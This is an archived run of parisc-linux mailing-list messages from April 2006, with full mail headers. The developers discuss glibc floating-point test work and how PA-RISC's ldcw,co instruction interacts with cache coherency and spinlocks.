Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 711927D72D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:54:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23476-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:54:41 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.194])
	by free.linux.hp.com (Postfix) with ESMTP id 883947D71F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:54:41 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id q3so1461759nzb
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 09:54:41 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=HA9Le+iuac+DCXgdtNUKGtn7Oh/6fume57IOqbDFd+q2hK9EExSX5vXjDh/zOmB9UtxeZb3ySCo0m3e5qH9T/N7wmC+aWpTGygatVuKtBDFi5V5LrSEhcnUkL5qwGU+sUkWG2fNc95G5tNyCwMz/4i/ze8ND8Z2kSF1dB66HX+4=
Original-Received: by 10.37.12.2 with SMTP id p2mr1497017nzi;
	Mon, 24 Apr 2006 09:54:41 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Mon, 24 Apr 2006 09:54:41 -0700 (PDT)
In-Reply-To: <IY8K1U$8FE099F66A8462E832C7AFDC38E1A3E1@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7Tp7dWwuYmYSn+nCanc3JiVKWkZTQZSP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23619

On 4/24/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > Joel,
> >
> > Patch to add the extra clobbers checked into CVS.
> > Thanks for all the work!
> >
> No, sincerely thanks for your help.
>
> > What's your next project? ;-)
> >
> No clue for the moment: I very need some break but a lot of idea:
>     * glibc float nan values pb?

This would be an excellent project. We have various floating point
problems that I haven't invetigated. The math tests in glibc are the
first place to start work.

Dave might have other project recommendations.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Mon, 24 Apr 2006 12:56:06 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200604241656.k3OGu6Tq027920@hiauly1.hia.nrc.ca>
References: <IY8K1U$8FE099F66A8462E832C7AFDC38E1A3E1@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624069 19116 80.91.229.3 (22 Nov 2014 02:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 16:56:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 24 Apr 2006 18:56:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68A267D788;
	Mon, 24 Apr 2006 10:56:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23568-07; Mon, 24 Apr 2006 10:56:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C46B77D783;
	Mon, 24 Apr 2006 10:56:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE53A7D77F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:56:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23476-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:56:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 99E9B7D769
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 10:56:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OGu6IX027922;
	Mon, 24 Apr 2006 12:56:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OGu6Tq027920;
	Mon, 24 Apr 2006 12:56:06 -0400 (EDT)
In-Reply-To: <IY8K1U$8FE099F66A8462E832C7AFDC38E1A3E1@scarlet.be> from "Joel
	Soete" at Apr 24, 2006 06:49:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ezF0cT1ueWU7sreUfHVzcU05U3U4Nw+X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23620

> btw: just as game, I rebuild glibc-2.3.6 + my clone patch with gcc-4.1 and
> with same src and same kernel (results vary a very few with kernel release?),

Have you tried rebuilding GCC with your new library?  I'm interested
in knowing how the fortran and libstdc++ testresults turn out.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 13:00:13 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <200604241300.13265.mszick@morethan.org>
References: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
	<200604241135.58306.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624069 19118 80.91.229.3 (22 Nov 2014 02:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 18:00:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 24 Apr 2006 20:00:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07D8E7D77A;
	Mon, 24 Apr 2006 12:00:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24140-04; Mon, 24 Apr 2006 12:00:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A76437D77C;
	Mon, 24 Apr 2006 12:00:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26D987D769
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:00:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24131-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:00:21 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 3B96B7D764
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:00:21 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3OI0GKS092469;
	Mon, 24 Apr 2006 11:00:16 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.227] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id D3O0j7U2
	authenticated by SMTP; Mon, 24 Apr 2006 11:00:15 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241135.58306.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cit1cW04bmw7vq2HZzdLS0RHUzc4cpFk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23621

On Mon April 24 2006 11:35, you wrote:
> On Mon April 24 2006 10:35, you wrote:
> > > ldcw,co target_address
> > > 
> > > Where target_address includes the magic byte[0] of 
> > > the cache line.
> > 
> > Where is this documented?
> > 
> Well, they didn't put it in the instruction RTL where
> someone could find it.  It is a footnote or mentioned
> in passing somewhere.
> 
> I will look for it, I found it about 5 years ago when
> Matt and I discussed this on the list, I can find it again.
> 

Still looking...

> But it is reasonable - you don't want to waste the cache
> coherency bandwidth with every ldcw,co in the cache line.
> 
> > > Translation:
> > > 
> > > Spin on the ldcw,co not the ldw here.
> > 
> > I believe this makes sense as the errata specifies that the ldcw,co
> > operation has to be performed in cache on PA 2.0 machines:
> > http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,5310,00.html
> > 
> 

Right, notice that it was at the request of HP-UX group for non-I/O
devices.

Think of it this way:

ldcw, co Cache_Line[0]

The hardware, system wide, exclusive lock for this cache line.

A cache line is a big place...

ldcw, co Cache_Line[4 .. max-4]

This cpu now owns the cache line, so the other cpus do not need
to be updated, nor the cache coherency bandwidth burned up...
The non-zero cache line offset does this trick.

These are the per-cpu (cache line owner) semaphores (and/or data) for 
the multiple threads of execution that are servicing whatever caused
the cache line to be grabbed on a machine wide, exclusive lock.

But if our cpu is going to be a polite neighbor to the other cpus
in the machine, it will have to use an instruction (+completer)
that is immediately observable by the other cpus when it is done
with the hardware wide lock.

Yo - Software Engineering, are you home?

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 15:15:02 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200604241915.k3OJF2C2028663@hiauly1.hia.nrc.ca>
References: <200604241300.13265.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624069 19123 80.91.229.3 (22 Nov 2014 02:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 19:15:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 24 Apr 2006 21:15:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 579897D79B;
	Mon, 24 Apr 2006 13:15:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25165-04; Mon, 24 Apr 2006 13:15:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A8D067D79F;
	Mon, 24 Apr 2006 13:15:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13567D798
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:15:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25156-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:15:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8E3D77D795
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 13:15:05 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OJF27Y028664;
	Mon, 24 Apr 2006 15:15:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OJF2C2028663;
	Mon, 24 Apr 2006 15:15:02 -0400 (EDT)
In-Reply-To: <200604241300.13265.mszick@morethan.org> from "Michael S. Zick"
	at Apr 24, 2006 01:00:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /RF+cDJAX1Vp6uuYY2FyNzZ3SDc4NEwS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23622

> Right, notice that it was at the request of HP-UX group for non-I/O
> devices.
> 
> Think of it this way:
> 
> ldcw, co Cache_Line[0]
> 
> The hardware, system wide, exclusive lock for this cache line.
> 
> A cache line is a big place...
> 
> ldcw, co Cache_Line[4 .. max-4]
> 
> This cpu now owns the cache line, so the other cpus do not need
> to be updated, nor the cache coherency bandwidth burned up...
> The non-zero cache line offset does this trick.

Ok, I understand.  I don't think that there is anything special
regarding Cache_Line[0].  You just need 4 bytes for the system-wide
lock.  Then, you can use the rest for semaphores on the cpu that
grabbed the system-wide lock.

Don't know if this trick would be useful for linux or not.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 14:46:49 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <200604241846.k3OIknKK028491@hiauly1.hia.nrc.ca>
References: <200604241135.58306.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624070 19128 80.91.229.3 (22 Nov 2014 02:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 18:47:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 24 Apr 2006 20:47:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9ABB47D796;
	Mon, 24 Apr 2006 12:47:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24372-06; Mon, 24 Apr 2006 12:47:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30CCA7D790;
	Mon, 24 Apr 2006 12:47:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 25D517D783
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:46:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24389-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:46:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6A0667D770
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 12:46:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OIkosG028492;
	Mon, 24 Apr 2006 14:46:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OIknKK028491;
	Mon, 24 Apr 2006 14:46:49 -0400 (EDT)
In-Reply-To: <200604241135.58306.mszick@morethan.org> from "Michael S. Zick"
	at Apr 24, 2006 11:35:58 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TnEmLBBcTlIvsreQeGhrSVVGU2poZRkB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23623

> Those instruction descriptions do not always mention side-effects,
> even less often do they mention the exceptions to the side-effects.
> 
> An exception (footnoted somewhere):
> ldcw,co does not set the dirty bit on the dcache line.

Don't see this.  It uses mem_store just like stw.  The only exception
is when gr0 is the target and it behaves like a prefetch.  See also
discussion of D bit trap.  If the machine has multiple D-caches, I
don't see how the overhead present in the coherency communication
can be avoided.

In the case where store_in_memory is used, the line is first flushed
and then the data is written to memory.  It doesn't make sense to set
the dirty bit in this case.  So, if you do a tight ldcw loop without
the co completer on a CPU that is not fully coherent, you will always
be in the slow store_in_memory case.

> Since there is no way to clear the lock with ldcw,co then when the
> lock is cleared, then there must be another magic completer that needs
> to be used on the instruction that resets the condition to '1' (unlocked).
> 
> Something that triggers the cache coherency system so the change is
> immediately observable by all cpus.

The lock can be reset with a store.  You are probably thinking of
the 'O' completer.  However, I think that all PA-RISC CPUs have strongly
ordered loads and stores.  However, I think the discussion on pages
435-438 in http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf is
relevant to the SMP case.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 14:55:10 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200604241855.k3OItBlv028564@hiauly1.hia.nrc.ca>
References: <200604241650.k3OGon5N027856@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624070 19130 80.91.229.3 (22 Nov 2014 02:41:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 18:55:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 24 Apr 2006 20:55:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 034967D79C;
	Mon, 24 Apr 2006 12:55:24 -0600 (MDT)
